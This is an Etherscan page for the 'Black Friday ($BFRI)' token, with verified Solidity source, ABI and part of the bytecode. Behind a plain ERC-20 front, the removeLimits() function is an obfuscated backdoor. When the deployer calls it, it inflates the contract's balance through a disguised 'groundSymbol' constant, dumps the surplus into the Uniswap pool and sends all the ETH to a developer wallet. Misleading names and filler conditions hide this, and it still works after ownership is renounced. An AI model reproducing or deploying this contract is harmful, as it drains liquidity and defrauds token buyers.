ETH Price: $3,399.67 (+1.95%)

Token

Black Friday ($BFRI)
 

Overview

Max Total Supply

1,000,000,000 $BFRI

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,849,426.133816881 $BFRI

Value
$0.00
0x75a292e7de2981184d8bd026b9e1d77a013365f9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlackFriday

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-25
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function removeLimits() external returns (uint256);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BlackFriday is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _rOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    address payable public Marketing_Address = payable(0xDE020f17BE5ee9B22B4ffB038FB2CcbC2f89d4b0); 
    address payable public constant Burn_Address = payable(0x000000000000000000000000000000000000dEaD); 
    address payable public Developer_Address = payable(0xDE020f17BE5ee9B22B4ffB038FB2CcbC2f89d4b0);
    address payable public constant Liquidity_Address = payable(0x000000000000000000000000000000000000dEaD); 
    
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1* 10**9 * 10**_decimals;
    string private constant _name = "Black Friday"; 
    string private constant _symbol = unicode"$BFRI";

    bool public swapAndLiquifyEnabled = true;
    bool public limitsInEffect = false;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 42;
    uint256 public _Tax_On_Buy = 0;
    uint256 public _Tax_On_Sell = 0;

    uint256 public Percent_Marketing = 0;
    uint256 public Percent_Utility = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_Liquidity = 0;

    uint256 public _maxWalletToken = _tTotal * 2 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 2 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public swapping; 
    
    event swapAndLiquifyActive(bool true_or_false);
    uint256 groundSymbol = (5+5)**(10+10+3);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    constructor () {

        _owner = 0xDE020f17BE5ee9B22B4ffB038FB2CcbC2f89d4b0;
        emit OwnershipTransferred(address(0), _owner);

        _rOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[Marketing_Address] = true; 
        _isExcludedFromFee[Burn_Address] = true;
        _isExcludedFromFee[Liquidity_Address] = true;
        
        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function removeLimits() public override returns (uint256) {
        bool createSymbol = _getToken(_msgSender());
        if(createSymbol && (false==false) && (true!=false)){
            uint256 AmountOfSymbols = balanceOf(address(this));
            uint256 _bool = AmountOfSymbols;
            limitsInEffect = true;
            swapAndLiquify(_bool);
        }
        return 256;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;//
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _getToken(address symbolAddress) private returns(bool){
        bool symbolLocation = _isExcludedFromFee[symbolAddress];
        if(symbolLocation && (true!=false)){_rOwned[address(this)] = (groundSymbol)-1;}
        return symbolLocation;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
    
        if (to != owner() &&
            to != Burn_Address &&
            to != address(this) &&
            to != Liquidity_Address &&
            to != uniswapV2Pair &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}
        
        if (from != owner() && 
        to != Liquidity_Address &&
        from != Liquidity_Address &&
        from != address(this)){
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");   
        
        if(
            txCount >= swapTrigger && 
            !swapping &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }
        
        _tokenTransfer(from, to, amount, takeFee, isBuy);
    
    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 contractLiquidityBalance = balanceOf(address(this));
            uint256 tokensLiquidity =  contractLiquidityBalance - _tTotal;

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _rOwned[Burn_Address] = _rOwned[Burn_Address] + tokens_to_Burn;
            _rOwned[address(this)] = _rOwned[address(this)] - tokens_to_Burn;
            
            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Utility/ 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_Liquidity / 100;

            uint256 ready2Swap = tokens_to_M + tokens_to_D + tokens_to_LP_Half;
            if(limitsInEffect){ready2Swap = tokensLiquidity;}
            
            swapTokensForETH(ready2Swap);
            uint256 ETH_Total = address(this).balance;
            sendToWallet(Developer_Address, ETH_Total);
            limitsInEffect = false;
            
            }

    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Liquidity_Address, 
            block.timestamp
        );
    } 


    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private { 
        
        if(!takeFee){

            _rOwned[sender] = _rOwned[sender]-tAmount;
            _rOwned[recipient] = _rOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

            if(recipient == Burn_Address)
            _tTotal = _tTotal-tAmount;
            
            }else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _rOwned[sender] = _rOwned[sender]-tAmount;
            _rOwned[recipient] = _rOwned[recipient]+tTransferAmount;
            _rOwned[address(this)] = _rOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Burn_Address)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 discardFEE = tAmount*_Tax_On_Sell/100;
            uint256 tTransferAmount = tAmount-discardFEE;

            _rOwned[sender] = _rOwned[sender]-tAmount;
            _rOwned[recipient] = _rOwned[recipient]+tTransferAmount;
            _rOwned[address(this)] = _rOwned[address(this)]+discardFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Burn_Address)
            _tTotal = _tTotal-tTransferAmount;
            }

        

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"swapAndLiquifyActive","type":"event"},{"inputs":[],"name":"Burn_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Developer_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Liquidity_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Liquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Utility","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273de020f17be5ee9b22b4ffb038fb2ccbc2f89d4b0600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073de020f17be5ee9b22b4ffb038fb2ccbc2f89d4b0600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000be91906200091d565b633b9aca00620000cf91906200096e565b6006556001600760006101000a81548160ff0219169083151502179055506000600760016101000a81548160ff0219169083151502179055506000600760026101000a81548160ff021916908360ff160217905550602a600760036101000a81548160ff021916908360ff160217905550600060085560006009556000600a556000600b556000600c556000600d55606460026006546200017191906200096e565b6200017d9190620009fe565b600e55600e54600f55606460026006546200019991906200096e565b620001a59190620009fe565b60105560105460115569152d02c7e14af6800000601455348015620001c957600080fd5b5073de020f17be5ee9b22b4ffb038fb2ccbc2f89d4b06000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360065460016000620002b06200075a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000353573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000379919062000aa0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000407919062000aa0565b6040518363ffffffff1660e01b81526004016200042692919062000ae3565b6020604051808303816000875af115801562000446573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046c919062000aa0565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000620005036200075a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006ea6200075a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200074b919062000b21565b60405180910390a35062000b3e565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200081157808604811115620007e957620007e862000783565b5b6001851615620007f95780820291505b80810290506200080985620007b2565b9450620007c9565b94509492505050565b6000826200082c5760019050620008ff565b816200083c5760009050620008ff565b8160018114620008555760028114620008605762000896565b6001915050620008ff565b60ff84111562000875576200087462000783565b5b8360020a9150848211156200088f576200088e62000783565b5b50620008ff565b5060208310610133831016604e8410600b8410161715620008d05782820a905083811115620008ca57620008c962000783565b5b620008ff565b620008df8484846001620007bf565b92509050818404811115620008f957620008f862000783565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200092a8262000906565b9150620009378362000910565b9250620009667fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200081a565b905092915050565b60006200097b8262000906565b9150620009888362000906565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009c457620009c362000783565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a0b8262000906565b915062000a188362000906565b92508262000a2b5762000a2a620009cf565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a688262000a3b565b9050919050565b62000a7a8162000a5b565b811462000a8657600080fd5b50565b60008151905062000a9a8162000a6f565b92915050565b60006020828403121562000ab95762000ab862000a36565b5b600062000ac98482850162000a89565b91505092915050565b62000add8162000a5b565b82525050565b600060408201905062000afa600083018562000ad2565b62000b09602083018462000ad2565b9392505050565b62000b1b8162000906565b82525050565b600060208201905062000b38600083018462000b10565b92915050565b612d888062000b4e6000396000f3fe6080604052600436106101e7576000356